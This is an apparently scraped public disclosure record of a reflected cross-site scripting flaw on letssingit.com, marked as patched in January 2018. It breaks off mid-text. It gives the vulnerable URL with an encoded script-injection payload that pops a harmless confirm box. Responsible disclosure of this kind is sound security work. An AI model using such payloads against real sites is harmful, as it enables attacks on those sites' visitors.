letssingit.com XSS vulnerability

Vulnerable URL: https://www.letssingit.com//%22%27--!%3E%3CScript%20/K/%3Econfirm'OPENBUGBOUNTY'%3C/Script%20/K/%3E Details: Description| Value ---|--- Patched:| Yes, at 17.01.2018 Latest check for patch:| 17.01.2018 02:51 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Ale...